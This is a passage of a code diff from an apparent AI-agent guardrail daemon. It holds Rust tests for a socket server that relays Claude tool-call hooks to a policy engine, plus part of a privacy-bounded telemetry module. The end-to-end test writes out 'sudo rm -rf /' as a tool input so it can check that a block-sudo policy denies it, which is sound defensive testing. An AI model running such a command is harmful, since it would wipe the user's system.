start_test_server(socket_path.clone()); + + let mut stream = UnixStream::connect(&socket_path).unwrap(); + write_message( + &mut stream, + &ClientMessage::Ping { + protocol_version: PROTOCOL_VERSION, + }, + ) + .unwrap(); + let response: ServerMessage = read_message(&mut stream).unwrap(); + assert_eq!( + response, + ServerMessage::Pong { + protocol_version: PROTOCOL_VERSION + } + ); + } + + #[test] + fn hook_request_gets_an_error_when_the_worker_cannot_be_reached() { + let socket_path = temp_socket_path("hook-broken-worker"); + let _guard = start_test_server(socket_path.clone()); + + let mut stream = UnixStream::connect(&socket_path).unwrap(); + write_message( + &mut stream, + &ClientMessage::Hook { + protocol_version: PROTOCOL_VERSION, + hook_event: "PreToolUse".to_string(), + cli: "claude".to_string(), + stdin: "{}".to_string(), + cwd: None, + }, + ) + .unwrap(); + let response: ServerMessage = read_message(&mut stream).unwrap(); + match response { + ServerMessage::Error { .. } => {} + other => panic!("expected Error, got {other:?}"), + } + } + + /// The real end-to-end path: a real `failproofaid` server relaying a + /// real Hook request to the real TypeScript worker (spawned via `bun` + /// against this repo's own `bin/failproofai-worker.mjs`), which runs + /// the actual, unmodified policy-evaluation engine. Proves Rust and TS + /// sides of the wire protocol actually agree, not just that each side's + /// own unit tests pass in isolation. + #[test] + fn relays_a_hook_request_to_the_real_typescript_worker_end_to_end() { + let repo_root = std::path::Path::new(env!("CARGO_MANIFEST_DIR")) + .parent() + .and_then(|p| p.parent()) + .expect("crates/failproofaid should be two levels under the repo root") + .to_path_buf(); + let worker_script = repo_root.join("bin").join("failproofai-worker.mjs"); + assert!( + worker_script.exists(), + "expected {worker_script:?} to exist" + ); + + // A real project dir with block-sudo enabled, so the response + // proves real policy evaluation ran, not just that SOME response + // came back. + let project_dir = std::env::temp_dir().join(format!( + "failproofaid-e2e-project-{}-{}", + std::process::id(), + fastrand_ish() + )); + std::fs::create_dir_all(project_dir.join(".failproofai")).unwrap(); + std::fs::write( + project_dir + .join(".failproofai") + .join("policies-config.json"), + r#"{"enabledPolicies":["block-sudo"]}"#, + ) + .unwrap(); + + let socket_path = temp_socket_path("hook-real-worker"); + let worker_cmd = WorkerCommand::shell(format!("bun {}", worker_script.display())); + let _guard = start_test_server_with_worker(socket_path.clone(), worker_cmd); + + let stdin = serde_json::json!({ + "cwd": project_dir.to_string_lossy(), + "tool_name": "Bash", + "tool_input": { "command": "sudo rm -rf /" }, + }) + .to_string(); + + let mut stream = UnixStream::connect(&socket_path).unwrap(); + stream + .set_read_timeout(Some(Duration::from_secs(15))) + .unwrap(); + write_message( + &mut stream, + &ClientMessage::Hook { + protocol_version: PROTOCOL_VERSION, + hook_event: "PreToolUse".to_string(), + cli: "claude".to_string(), + stdin, + cwd: Some(project_dir.to_string_lossy().to_string()), + }, + ) + .unwrap(); + let response: ServerMessage = read_message(&mut stream).unwrap(); + match response { + ServerMessage::HookResult { + exit_code, stdout, .. + } => { + // Claude's PreToolUse deny contract is JSON on stdout at + // exit 0 (hookSpecificOutput.permissionDecision), not a + // nonzero exit code. + assert_eq!(exit_code, 0); + assert!( + stdout.contains("\"permissionDecision\":\"deny\""), + "expected a real deny from block-sudo, got stdout: {stdout}" + ); + } + other => panic!("expected HookResult, got {other:?}"), + } + + std::fs::remove_dir_all(&project_dir).ok(); + } + + #[test] + fn mismatched_protocol_version_gets_an_explicit_error() { + let socket_path = temp_socket_path("version-mismatch"); + let _guard = start_test_server(socket_path.clone()); + + let mut stream = UnixStream::connect(&socket_path).unwrap(); + write_message( + &mut stream, + &ClientMessage::Ping { + protocol_version: PROTOCOL_VERSION + 999, + }, + ) + .unwrap(); + let response: ServerMessage = read_message(&mut stream).unwrap(); + match response { + ServerMessage::Error { message, .. } => { + assert!(message.contains("version")); + } + other => panic!("expected Error, got {other:?}"), + } + } + + #[test] + fn bind_replaces_a_stale_socket_file() { + let socket_path = temp_socket_path("stale"); + // Simulate a leftover file from a crashed daemon: not even a valid + // socket, just a regular file at that path. + std::fs::write(&socket_path, b"not a socket").unwrap(); + + let worker = Arc::new(crate::worker::Worker::new( + temp_socket_path("stale-worker"), + broken_worker_cmd(), + )); + let server = Server::bind(&socket_path, worker).expect("bind should clear the stale file"); + drop(server); + assert!( + !socket_path.exists(), + "Drop should clean up the socket file" + ); + } + + #[test] + fn bound_socket_file_is_owner_only() { + let socket_path = temp_socket_path("perms"); + let worker = Arc::new(crate::worker::Worker::new( + temp_socket_path("perms-worker"), + broken_worker_cmd(), + )); + let server = Server::bind(&socket_path, worker).unwrap(); + let mode = std::fs::metadata(&socket_path) + .unwrap() + .permissions() + .mode() + & 0o777; + assert_eq!(mode, 0o600); + drop(server); + } + + #[test] + fn multiple_concurrent_pings_all_get_answered() { + let socket_path = temp_socket_path("concurrent"); + let _guard = start_test_server(socket_path.clone()); + + let clients: Vec<_> = (0..8) + .map(|_| { + let path = socket_path.clone(); + std::thread::spawn(move || { + let mut stream = UnixStream::connect(&path).unwrap(); + write_message( + &mut stream, + &ClientMessage::Ping { + protocol_version: PROTOCOL_VERSION, + }, + ) + .unwrap(); + let response: ServerMessage = read_message(&mut stream).unwrap(); + assert_eq!( + response, + ServerMessage::Pong { + protocol_version: PROTOCOL_VERSION + } + ); + }) + }) + .collect(); + for c in clients { + c.join().unwrap(); + } + } + + /// `Path::exists()` follows symlinks, so a DANGLING one at the socket path + /// reported false, was never unlinked, and `UnixListener::bind` then failed + /// `EADDRINUSE`. With `Restart=on-failure` that is a crash loop, and a + /// crash-looping daemon on a `daemonConfigured` machine denies every tool + /// call across every CLI — reachable with a single `ln -s`. + #[test] + fn binds_over_a_dangling_symlink_left_at_the_socket_path() { + let socket_path = temp_socket_path("dangling-symlink"); + let nowhere = temp_socket_path("target-that-never-existed"); + std::os::unix::fs::symlink(&nowhere, &socket_path).unwrap(); + assert!( + !socket_path.exists(), + "a dangling symlink must report exists() == false, or this test proves nothing" + ); + + let _guard = start_test_server(socket_path.clone()); + + // Connecting at all is the assertion: it can only succeed if bind did. + let mut stream = UnixStream::connect(&socket_path).unwrap(); + write_message( + &mut stream, + &ClientMessage::Ping { + protocol_version: PROTOCOL_VERSION, + }, + ) + .unwrap(); + let response: ServerMessage = read_message(&mut stream).unwrap(); + assert_eq!( + response, + ServerMessage::Pong { + protocol_version: PROTOCOL_VERSION + } + ); + } + + /// `SO_RCVTIMEO` bounds ONE `read(2)`, and `read_message` reads through + /// `read_exact`, which loops until its buffer is full — so every byte that + /// arrives reset the clock. A peer dribbling bytes slower than the timeout + /// but faster than never satisfied it indefinitely while pinning a handler + /// thread; 64 of those fill `MAX_INFLIGHT_CONNECTIONS` and the daemon stops + /// answering real hooks entirely. + /// + /// The peer here announces a 4 KiB body and then sends one byte every + /// 40 ms. Under the old per-read timeout that read completes in about 164 + /// SECONDS, having never once exceeded 10s between bytes. + #[test] + fn a_trickling_peer_cannot_hold_a_connection_past_its_budget() { + use std::io::Write; + + let (server_side, mut client_side) = UnixStream::pair().unwrap(); + let dribbler = std::thread::spawn(move || { + // A valid, in-range length prefix — the frame is well formed, it + // simply never finishes arriving. + if client_side.write_all(&4096u32.to_be_bytes()).is_err() { + return; + } + let _ = client_side.flush(); + loop { + if client_side.write_all(b"x").is_err() { + return; + } + if client_side.flush().is_err() { + return; + } + std::thread::sleep(Duration::from_millis(40)); + } + }); + + let started = std::time::Instant::now(); + let mut io = Deadline::new(&server_side, Duration::from_millis(300)); + let result: Result = read_message(&mut io); + let elapsed = started.elapsed(); + + assert!( + result.is_err(), + "the deadline must cut a trickling peer off" + ); + assert!( + elapsed < Duration::from_secs(5), + "gave up after {elapsed:?}; the budget was 300ms and the peer would \ + have taken ~164s to finish its frame" + ); + + drop(server_side); + let _ = dribbler.join(); + } + + /// A live daemon's socket must never be unlinked out from under it. + /// + /// `bind()` used to remove whatever sat at the path unconditionally, on the + /// grounds that `lock.rs`'s `flock()` makes a second daemon impossible. + /// That does not hold across hosts on an NFS-mounted home — pre-NFSv4 locks + /// are client-local without an active lockd, and nothing checks what + /// filesystem the home lives on — so a second machine could take the lock, + /// unlink the first's live socket, and silently orphan its clients. Now the + /// path is probed instead of assumed. + #[test] + fn binding_over_a_live_socket_is_refused_rather_than_stealing_it() { + let socket_path = temp_socket_path("live"); + let worker = Arc::new(Worker::new( + temp_socket_path("live-worker"), + broken_worker_cmd(), + )); + + let first = Server::bind(&socket_path, worker.clone()).expect("first bind should succeed"); + + let Err(err) = Server::bind(&socket_path, worker) else { + panic!("a second bind must not replace a listening daemon"); + }; + assert_eq!(err.kind(), io::ErrorKind::AddrInUse); + assert!( + err.to_string().contains("already accepting"), + "expected a liveness refusal, got: {err}" + ); + + // And the original is untouched — still the one bound to that path. + drop(first); + } + + /// The ordinary restart path still works: a socket file whose process is + /// gone is debris, and binding must clear it rather than refuse forever. + #[test] + fn a_socket_file_with_no_listener_is_replaced() { + let socket_path = temp_socket_path("debris"); + let worker = Arc::new(Worker::new( + temp_socket_path("debris-worker"), + broken_worker_cmd(), + )); + + // Exactly what a killed daemon leaves: std does not unlink on drop of + // the listener alone, so create the file and let the listener go. + { + let _stale = std::os::unix::net::UnixListener::bind(&socket_path).unwrap(); + } + assert!(fs::symlink_metadata(&socket_path).is_ok()); + + Server::bind(&socket_path, worker).expect("debris must not block a restart"); + } + + /// A refused handler thread must give its in-flight slot back. + /// + /// When `Builder::spawn` fails it drops the closure it was handed, which is + /// the only thing that runs `InflightGuard::drop` on that path — nothing in + /// the accept loop decrements explicitly. If that did not hold, every + /// refused thread would permanently shrink `MAX_INFLIGHT_CONNECTIONS`, and + /// 64 of them would wedge the daemon into refusing every connection for the + /// rest of its life: a fail-closed machine denying every tool call, which is + /// the outcome the whole `Builder::spawn` change exists to avoid. + #[test] + fn a_handler_thread_that_never_starts_releases_its_slot() { + let inflight = Arc::new(AtomicUsize::new(0)); + + inflight.fetch_add(1, Ordering::Relaxed); + let guard = InflightGuard(inflight.clone()); + assert_eq!(inflight.load(Ordering::Relaxed), 1); + + // Exactly what `Builder::spawn`'s error path does with the closure it + // could not run: drops it, and with it every captured value. + let closure = move || { + let _guard = guard; + }; + drop(closure); + + assert_eq!( + inflight.load(Ordering::Relaxed), + 0, + "the slot must be returned when the thread is never started" + ); + } + + /// The budget is spent by elapsed time, not reset by progress — the exact + /// property `set_read_timeout` alone does not give. + #[test] + fn the_connection_budget_does_not_reset_when_bytes_arrive() { + let (server_side, _client_side) = UnixStream::pair().unwrap(); + let io = Deadline::new(&server_side, Duration::from_millis(80)); + assert!(io.remaining().is_ok()); + std::thread::sleep(Duration::from_millis(120)); + let err = io.remaining().expect_err("the budget must be spent"); + assert_eq!(err.kind(), std::io::ErrorKind::TimedOut); + } +} diff --git a/crates/failproofaid/src/telemetry.rs b/crates/failproofaid/src/telemetry.rs new file mode 100644 index 00000000..c6316157 --- /dev/null +++ b/crates/failproofaid/src/telemetry.rs @@ -0,0 +1,1733 @@ +//! Product telemetry for the daemon itself: a buffered PostHog lane on its own +//! thread. +//! +//! Everything that moved into failproofaid went dark. Collection, cloud policy +//! pull, worker supervision and the fail-closed enforcement path all report +//! nothing, so the one component whose failure denies every tool call on a +//! machine is the one component we cannot see. This lane closes that, under the +//! same doctrine every other lane here follows — its own thread, the shared +//! shutdown flag, `catch_unwind` per tick, every error swallowed. +//! +//! # What it must never do +//! +//! The daemon fails closed: `daemon-client.ts` turns an unreachable or slow +//! daemon into a DENY across all 12 agent CLIs. So [`record`] is a bounded +//! push onto an in-memory ring and nothing else — no I/O, no network, no +//! allocation the caller waits on beyond one small `Vec`. It is called from +//! [`crate::worker::Worker::ensure_started`], which is ON the hook path. The +//! HTTP POST happens only on this lane's own thread, and the ring lock is +//! always released before a request starts, so a black-holing corporate proxy +//! can stall the lane for its whole timeout without a hook call ever noticing. +//! +//! There is deliberately **no per-hook-call event**. The existing code never +//! sends an `allow`, and awaiting `hook_policy_triggered` on the deny path once +//! cost ~700ms and blew the 150ms fail-closed budget (hence +//! `awaitTelemetryFlush: false` in `worker-server.ts`). Hook volume, if it is +//! ever wanted, belongs in atomic counters and a periodic rollup — not here. +//! +//! # Privacy envelope +//! +//! Low-cardinality enums, booleans and counts only. Deliberately excluded, and +//! this is the list to check a new property against: **no file path** (not the +//! home, not a transcript, not a policy file), **no command string** (the +//! worker command, the CLI command and anything a user's policy ran), **no +//! policy id or source**, **no prompt, tool input or transcript text**, **no +//! URL** (the cloud origin identifies the customer's deployment), **no token**, +//! **no error message** (`io::Error` renders paths and hostnames — errors are +//! reported as an enum, and the detail stays in the service log where the +//! operator can already see it). +//! +//! Two identifying fields ride deliberately, both already collected elsewhere: +//! the enrolled `machine_id` and the OS user, which together are the identity +//! the collector stamps on every event (a username is unique only within a +//! machine). They are what make a report address a profile on a machine rather +//! than a machine. +//! +//! # The off-switch is checked before anything is buffered +//! +//! `[telemetry] enabled` in `config.toml` plus `FAILPROOFAI_TELEMETRY_DISABLED`, +//! resolved to the MORE RESTRICTIVE of the two, exactly as `lib/telemetry-enabled.ts` +//! does for the four TypeScript dispatchers. The file is the one that matters +//! here: this is a system-scope service unit whose environment carries +//! essentially nothing, so a shell export is structurally incapable of reaching +//! it. It is re-read every tick and never memoised for the life of the process +//! — an opt-out a long-lived daemon keeps ignoring until it restarts is an +//! opt-out that does not hold, and that memoisation was already rejected once +//! in this codebase for exactly that reason. When a tick sees it switched off, +//! the ring is cleared as well as closed, so nothing buffered before the switch +//! is sent afterwards. + +use std::collections::VecDeque; +use std::path::{Path, PathBuf}; +use std::sync::atomic::{AtomicBool, AtomicU64, Ordering}; +use std::sync::{Arc, Mutex, OnceLock, RwLock}; +use std::thread::JoinHandle; +use std::time::{Duration, Instant, SystemTime, UNIX_EPOCH}; + +use serde_json::{Map, Value, json}; + +/// Mirrors `POSTHOG_API_KEY` in `src/posthog-key.ts`. Write-only, safe to +/// commit. Rust cannot import that module, so `__tests__/hooks/daemon-telemetry.test.ts` +/// reads both files and fails if they drift — a rotated key changed in one place +/// and not the other leaves a daemon reporting perfectly into a project nobody +/// looks at. +const POSTHOG_API_KEY: &str = "phc_Ac1Ww1GqKc0z1SyrRWbmatEeQdlOQIsDEEdP8l8JRgX"; + +/// Mirrors `POSTHOG_PRODUCT` in the same file. +const POSTHOG_PRODUCT: &str = "failproofai-oss"; + +const POSTHOG_HOST: &str = "https://us.i.posthog.com"; + +/// A FIFTH `$lib`, distinct from `failproofai` (the Next.js server), +/// `failproofai-hooks` (the CLI and hook binary), `failproofai-web` and +/// `failproofai-install`. Distinct because "which component reported this" is +/// the first question asked of any of these events, and a daemon event that +/// claimed to be a hook event would be indistinguishable from one. +const LIB: &str = "failproofai-daemon"; + +/// How often the lane wakes to re-read the opt-out, poll counters and flush. +/// +/// A minute is long for a lifecycle stream that emits a handful of events per +/// daemon lifetime, and that is the point: it bounds how often a machine with +/// no network talks to a proxy that will not answer. `FAILPROOFAI_TELEMETRY_FLUSH_MS` +/// shortens it for tests. +const FLUSH_INTERVAL: Duration = Duration::from_secs(60); +const MINIMUM_FLUSH_MS: u64 = 50; + +/// Events held in memory before a flush. +/// +/// Sized for the lifecycle stream it carries — a start, a stop, a worker +/// restart, the odd collector fault — with two orders of magnitude of headroom, +/// so reaching it means something is emitting in a loop and the right answer is +/// to drop rather than to grow. A ring that can grow is a memory leak in a +/// process that must not fail. +const RING_CAPACITY: usize = 128; + +/// Send attempts for one batch before it is dropped. +/// +/// Weak on purpose. Telemetry loss is acceptable; a daemon retrying forever +/// against a corporate proxy that answers 407 to everything is not, and neither +/// is a ring that never drains because its head cannot be delivered. +const MAX_SEND_ATTEMPTS: u32 = 3; + +// ── The buffer ─────────────────────────────────────────────────────────────── + +struct Event { + name: &'static str, + props: Map, + at_ms: i64, + attempts: u32, +} + +struct Lane { + ring: Mutex>, + /// The resolved opt-out, refreshed every tick. Read by [`record`] so a + /// disabled machine never even buffers; re-resolved from disk before every + /// send so the atomic can never be the only thing standing between a + /// switched-off machine and a request. + enabled: AtomicBool, + /// Reported once, then counted. A machine dropping telemetry is worth one + /// line in the service log and no more. + dropped: AtomicU64, + warned_dropped: AtomicBool, + /// Resolved once by the lane thread and reused by the shutdown flush, which + /// runs after that thread has exited. + identity: Mutex>, +} + +static LANE: OnceLock> = OnceLock::new(); + +/// The collector's own counters, published by `spawn_collector_manager` once it +/// has actually started a collector. +/// +/// A pull, not a push: the design rule for this feature is that no telemetry +/// code enters `crates/fpai-collect`. The counters it already keeps for the +/// health record are enough to see a task restarting in a loop, and polling +/// them here keeps the collector unaware that anything is watching. +/// +/// REPLACEABLE, not set-once. The collector is cycled whenever its configuration +/// changes, and a `OnceLock` silently dropped every set after the first — so +/// after a credential rotation this lane went on polling the counters of a +/// collector that had already been joined, reporting a dead generation's totals +/// as if they were current. Nothing errored; the numbers simply stopped moving, +/// which is indistinguishable from a healthy idle machine. +static COLLECTOR_METRICS: RwLock>> = RwLock::new(None); + +pub fn set_collector_metrics(metrics: Arc) { + // A poisoned lock is not a reason to stop reporting health: recover the + // guard and carry on. Nothing here can leave a torn value — the only + // operation is replacing one Arc. + let mut slot = COLLECTOR_METRICS.write().unwrap_or_else(|e| e.into_inner()); + *slot = Some(metrics); +} + +/// Buffer one event. Never blocks on I/O, never fails, never panics. +/// +/// A no-op until [`spawn`] has installed the lane, and a no-op whenever the +/// opt-out says so — checked here rather than only at send time so a +/// switched-off machine holds nothing in memory either. +pub fn record(name: &'static str, props: Value) { + let Some(lane) = LANE.get() else { + return; + }; + if !lane.enabled.load(Ordering::Relaxed) { + return; + } + let props = match props { + Value::Object(map) => map, + // A non-object would serialise into a `properties` PostHog rejects for + // the whole batch, taking the other events with it. + _ => Map::new(), + }; + lane.push(Event { + name, + props, + at_ms: now_ms(), + attempts: 0, + }); +} + +impl Lane { + fn push(&self, event: Event) { + // `unwrap_or_else(into_inner)` rather than `unwrap`: nothing + // user-supplied runs under this lock so a poisoned mutex is close to + // impossible, but this is reached from the hook path and a panic here + // would deny a tool call over a telemetry event. + let mut ring = self.ring.lock().unwrap_or_else(|e| e.into_inner()); + if ring.len() >= RING_CAPACITY { + // Oldest out, not newest refused: the interesting events in an + // overflow are the recent ones, and the head is what a failing send + // is stuck on. + ring.pop_front(); + self.dropped.fetch_add(1, Ordering::Relaxed); + if !self.warned_dropped.swap(true, Ordering::Relaxed) { + eprintln!("[failproofaid] telemetry buffer is full; dropping the oldest events"); + } + } + ring.push_back(event); + } + + /// Take everything currently buffered. The lock is released before the + /// caller does any I/O — the whole reason a hook call can never wait on a + /// telemetry request. + fn drain(&self) -> Vec { + let mut ring = self.ring.lock().unwrap_or_else(|e| e.into_inner()); + ring.drain(..).collect() + } + + /// Put a failed batch back at the head, still bounded. + fn requeue(&self, batch: Vec) { + let mut ring = self.ring.lock().unwrap_or_else(|e| e.into_inner()); + for event in batch.into_iter().rev() { + if ring.len() >= RING_CAPACITY { + ring.pop_back(); + self.dropped.fetch_add(1, Ordering::Relaxed); + } + ring.push_front(event); + } + } + + fn clear(&self) { + self.ring.lock().unwrap_or_else(|e| e.into_inner()).clear(); + } +} + +// ── Configuration and the opt-out ──────────────────────────────────────────── + +struct FileConfig { + telemetry_enabled: bool, + machine_id: Option, +} + +/// `[telemetry]` and `[collector].machine_id` out of `config.toml`, in one read. +/// +/// Mirrors `readConfig` in `src/hooks/fp-config.ts` value for value: only an +/// explicit `enabled = false` switches telemetry off, and an absent, unreadable +/// or unparseable file resolves to the shipped default (on) rather than to a +/// third answer. That is the opposite direction from the audit lane's reader, +/// which resolves the same uncertainty to OFF — the asymmetry is deliberate and +/// matches the two switches: one guards reading every transcript on the disk, +/// this one guards a handful of counts. +fn load_file_config(home: &Path) -> FileConfig { + let default = FileConfig { + telemetry_enabled: true, + machine_id: None, + }; + let Ok(text) = std::fs::read_to_string(home.join("config.toml")) else { + return default; + }; + // `toml::from_str`, NOT `text.parse::()` — `FromStr for Value` + // parses a single VALUE and rejects a whole document at its first table + // header. It compiles and never errors visibly; the audit lane shipped that + // bug once and it made every table on every machine read as absent. + let Ok(root) = toml::from_str::(&text) else { + return default; + }; + FileConfig { + telemetry_enabled: root.get("telemetry").and_then(|t| t.get("enabled")) + != Some(&toml::Value::Boolean(false)), + machine_id: root + .get("collector") + .and_then(|c| c.get("machine_id")) + .and_then(|v| v.as_str()) + .map(str::to_string) + .filter(|s| !s.is_empty()), + } +} + +/// The env half of the gate. Kept byte-identical to the TypeScript check +/// (`=== "1"`) so the two halves of one product cannot disagree about what the +/// variable means. +fn disabled_by_env() -> bool { + std::env::var("FAILPROOFAI_TELEMETRY_DISABLED").as_deref() == Ok("1") +} + +/// The more restrictive of environment and file. Either says stop, and we stop; +/// the environment can never re-enable something the file switched off. +fn telemetry_allowed(config: &FileConfig) -> bool { + !disabled_by_env() && config.telemetry_enabled +} + +// ── Identity ───────────────────────────────────────────────────────────────── + +/// Which rung of the ladder produced `distinct_id`, reported on every event. +/// +/// Without it a person split is invisible: the same machine reporting under two +/// ids looks exactly like two machines, and there is nothing in the data to say +/// which of the two is the CLI's. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum IdSource { + /// The id the CLI itself resolved, read from `state/telemetry-id`. The only + /// rung that is correct by construction rather than by agreement. + Cli, + /// Recomputed from the platform machine id with the CLI's own formula. + Machine, + /// Minted here and persisted, because neither of the above was available. + Generated, + /// Minted here and NOT persistable. Every restart is a new person; the + /// label is what stops that being mistaken for a fleet. + Ephemeral, +} + +impl IdSource { + fn as_str(self) -> &'static str { + match self { + IdSource::Cli => "cli", + IdSource::Machine => "machine", + IdSource::Generated => "generated", + IdSource::Ephemeral => "ephemeral", + } + } +} + +#[derive(Debug, Clone)] +struct Identity { + distinct_id: String, + source: IdSource, + os_user: Option, +} + +/// The namespace `lib/telemetry-id.ts` HMACs with. Changing it on either side +/// renames every machine in PostHog. +const ID_NAMESPACE: &[u8] = b"failproofai-telemetry-v1"; + +/// Resolve who this daemon is, once. +/// +/// **Tier 2 of `lib/telemetry-id.ts` is deliberately NOT reproduced.** That tier +/// hashes `os.arch()` and `os.cpus()[0].model`, which are Node-formatted — Node +/// says `x64` where Rust says `x86_64`, and the CPU model string is assembled by +/// libuv. A near-miss there does not fail; it silently files every machine under +/// two different PostHog persons, and nothing in the data says so. What IS +/// reproduced is tier 1, which hashes the raw platform machine id and has no +/// Node in it at all — so on any machine with an `/etc/machine-id` or an +/// `IOPlatformUUID`, the daemon and the CLI land on the same person without +/// having to agree on a file. +fn resolve_identity(home: &Path, platform_machine_id: Option) -> Identity { + let os_user = crate::current_os_user(); + + if let Some(id) = read_cli_id(&crate::paths::telemetry_id_path(home)) { + return Identity { + distinct_id: id, + source: IdSource::Cli, + os_user, + }; + } + if let Some(raw) = platform_machine_id { + return Identity { + distinct_id: hash_to_id(raw.as_bytes()), + source: IdSource::Machine, + os_user, + }; + } + let (distinct_id, source) = generated_id(home); + Identity { + distinct_id, + source, + os_user, + } +} + +/// The daemon's own fallback id. Not in `paths.rs`: nothing outside this module +/// reads or writes it, and the rule there is that a path with one party is +/// derived where it is used rather than mirrored into a file whose whole +/// purpose is agreement between two. +fn generated_id_path(home: &Path) -> PathBuf { + home.join("state").join("daemon-telemetry-id") +} + +/// Read the CLI's id, rejecting anything that is not plausibly one. +/// +/// A truncated or garbage file would otherwise become a permanent, wrong person +/// id — worse than falling through to a rung that can be recomputed. The shape +/// check is deliberately loose (the CLI's tier 3 is a UUID, its tiers 1 and 2 +/// are 64 hex characters) and only excludes what could not have been written by +/// `getInstanceId`. +fn read_cli_id(path: &Path) -> Option { + let raw = std::fs::read_to_string(path).ok()?; + let id = raw.trim(); + if id.is_empty() || id.len() > 128 { + return None; + } + if !id + .bytes() + .all(|b| b.is_ascii_alphanumeric() || b == b'-' || b == b'_') + { + return None; + } + Some(id.to_string()) +} + +/// Mint an id and keep it, so a machine that reaches this rung is still ONE +/// person across restarts. A home that cannot be written degrades to +/// [`IdSource::Ephemeral`] rather than to no telemetry at all. +fn generated_id(home: &Path) -> (String, IdSource) { + let path = generated_id_path(home); + if let Some(existing) = read_cli_id(&path) { + return (existing, IdSource::Generated); + } + let minted = random_hex(); + match write_private(&path, minted.as_bytes()) { + Ok(()) => (minted, IdSource::Generated), + Err(_) => (minted, IdSource::Ephemeral), + } +} + +/// 16 random bytes as hex, from the OS. +/// +/// Falls back to the clock and the pid, which is weak but only has to be unique +/// across the machines that reach this branch at all — and a colliding id is a +/// merged person, not a correctness or security failure. +fn random_hex() -> String { + // `read_exact` on an open handle, NEVER `fs::read`: /dev/urandom is an + // endless stream, so read-the-whole-file does not return — it allocates + // until the OOM killer arrives. Caught by this module's own tests, which + // sat at 60 seconds and then took a SIGKILL. + let mut bytes = [0u8; 16]; + if std::fs::File::open("/dev/urandom") + .and_then(|mut f| std::io::Read::read_exact(&mut f, &mut bytes)) + .is_ok() + { + return to_hex(&bytes); + } + let nanos = SystemTime::now() + .duration_since(UNIX_EPOCH) + .map(|d| d.as_nanos()) + .unwrap_or_default(); + to_hex(&sha256(format!("{nanos}:{}", std::process::id()).as_bytes())[..16]) +} + +/// Persist atomically (tmp → fsync → rename) at owner-only permissions, the +/// same way `audit_lane::save_state` does for its own file under `state/`. +/// +/// Direct truncate-and-write would be wrong in different ways for each of the +/// two files this writes. A torn `daemon-telemetry-id` is the worse one: a +/// truncated hex string still passes [`read_cli_id`]'s shape check, so the +/// daemon would adopt half an id as a permanent person and every event from +/// that machine would file under it — which is precisely why `getInstanceId()` +/// on the TypeScript side writes the CLI's copy through a rename too. A torn +/// `daemon-run.json` is milder but still lossy: the next start reads it as +/// `unknown` and loses the one signal here worth alerting on, whether the +/// previous run crashed. +fn write_private(path: &Path, bytes: &[u8]) -> std::io::Result<()> { + if let Some(dir) = path.parent() { + std::fs::create_dir_all(dir)?; + } + // A fixed `.tmp` sibling rather than a pid-suffixed one: `lock::acquire` + // guarantees a single daemon per home, so unlike the CLI's copy of this + // write there is no second writer to collide with. + let mut tmp = path.as_os_str().to_os_string(); + tmp.push(".tmp"); + let tmp = PathBuf::from(tmp); + write_owner_only(&tmp, bytes)?; + std::fs::rename(&tmp, path) +} + +#[cfg(unix)] +fn write_owner_only(path: &Path, bytes: &[u8]) -> std::io::Result<()> { + use std::io::Write; + use std::os::unix::fs::OpenOptionsExt; + let mut f = std::fs::OpenOptions::new() + .write(true) + .create(true) + .truncate(true) + .mode(0o600) + .open(path)?; + f.write_all(bytes)?; + f.sync_all() +} + +#[cfg(not(unix))] +fn write_owner_only(path: &Path, bytes: &[u8]) -> std::io::Result<()> { + std::fs::write(path, bytes) +} + +/// The raw platform machine id, by the same route `getPlatformMachineId()` in +/// `lib/telemetry-id.ts` takes — the same files on Linux, the same `ioreg` key +/// on macOS — because the whole value of this rung is producing the identical +/// input to the identical hash. +fn platform_machine_id() -> Option { + #[cfg(target_os = "linux")] + { + for path in ["/etc/machine-id", "/var/lib/dbus/machine-id"] { + if let Ok(raw) = std::fs::read_to_string(path) { + let id = raw.trim(); + if !id.is_empty() { + return Some(id.to_string()); + } + } + } + } + #[cfg(target_os = "macos")] + { + let out = std::process::Command::new("ioreg") + .args(["-rd1", "-c", "IOPlatformExpertDevice"]) + .output() + .ok()?; + let text = String::from_utf8_lossy(&out.stdout); + // Deliberately not a regex: `"IOPlatformUUID" = ""`, and the only + // thing that matters is extracting the same bytes Node's match does. + let line = text.lines().find(|l| l.contains("\"IOPlatformUUID\""))?; + let value = line.split('=').nth(1)?.trim(); + let uuid = value.trim_matches('"').trim(); + if !uuid.is_empty() { + return Some(uuid.to_string()); + } + } + None +} + +/// `hashToId` from `lib/telemetry-id.ts`: HMAC-SHA256 under the shared +/// namespace, lowercase hex. +fn hash_to_id(raw: &[u8]) -> String { + to_hex(&hmac_sha256(ID_NAMESPACE, raw)) +} + +/// HMAC-SHA256 (RFC 2104), spelled out rather than pulled in. +/// +/// `sha2` is already a dependency of this crate; `hmac` is not, and adding a +/// crate to a binary that cross-compiles to four targets to gain twenty lines +/// is a worse trade than writing them. Pinned by an RFC 4231 vector AND by a +/// value produced by the Node `crypto.createHmac` call this must agree with, so +/// a subtle mistake here fails a test rather than quietly splitting every +/// machine into two PostHog persons. +fn hmac_sha256(key: &[u8], message: &[u8]) -> [u8; 32] { + const BLOCK: usize = 64; + let mut padded = [0u8; BLOCK]; + if key.len() > BLOCK { + padded[..32].copy_from_slice(&sha256(key)); + } else { + padded[..key.len()].copy_from_slice(key); + } + let mut inner_key = [0x36u8; BLOCK]; + let mut outer_key = [0x5cu8; BLOCK]; + for i in 0..BLOCK { + inner_key[i] ^= padded[i]; + outer_key[i] ^= padded[i]; + } + let mut inner = Vec::with_capacity(BLOCK + message.len()); + inner.extend_from_slice(&inner_key); + inner.extend_from_slice(message); + let inner_digest = sha256(&inner); + let mut outer = Vec::with_capacity(BLOCK + 32); + outer.extend_from_slice(&outer_key); + outer.extend_from_slice(&inner_digest); + sha256(&outer) +} + +fn sha256(bytes: &[u8]) -> [u8; 32] { + use sha2::{Digest, Sha256}; + Sha256::digest(bytes).into() +} + +fn to_hex(bytes: &[u8]) -> String { + bytes.iter().map(|b| format!("{b:02x}")).collect() +} + +// ── The batch ──────────────────────────────────────────────────────────────── + +/// Node's spelling of the architecture, not Rust's. +/// +/// The same warning that governs the identity ladder applies to a plain +/// property: `x86_64` and `x64` are the same machines under two names, and a +/// breakdown by architecture that splits them reads as two populations. The +/// value is only ever compared against what the four TypeScript dispatchers +/// send, so it is theirs that decides the spelling. +fn node_arch() -> &'static str { + match std::env::consts::ARCH { + "x86_64" => "x64", + "aarch64" => "arm64", + other => other, + } +} + +/// Node's spelling of the platform, not Rust's — for exactly the reason +/// [`node_arch`] exists. +/// +/// `std::env::consts::OS` says `macos` where `os.platform()` says `darwin`, and +/// 